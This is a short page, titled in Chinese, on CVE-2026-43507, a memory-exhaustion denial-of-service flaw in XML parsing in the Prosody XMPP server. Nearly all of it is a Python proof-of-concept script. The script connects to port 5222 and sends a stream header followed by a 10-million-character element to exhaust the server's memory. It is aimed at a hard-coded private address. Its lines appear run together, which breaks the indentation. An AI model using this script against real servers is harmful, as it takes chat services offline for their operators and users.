CVE-2026-43507 Prosody XML解析内存耗尽DoS漏洞

import socket def send_malicious_xml(host, port=5222): try: # Connect to the Prosody server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) # Send malicious XML stream header to trigger resource amplification # Note: This is a conceptual PoC. Actual payload may vary based on specific parser behavior. payload = "<stream:stream xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>" payload += "<attack>" + "A" * 10000000 + "</attack>" # Large payload to exhaust memory s.send(payload.encode('utf-8')) print(f"[+] Payload sent to {host}:{port}") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target_host = "192.168.1.10" send_malicious_xml(target_host)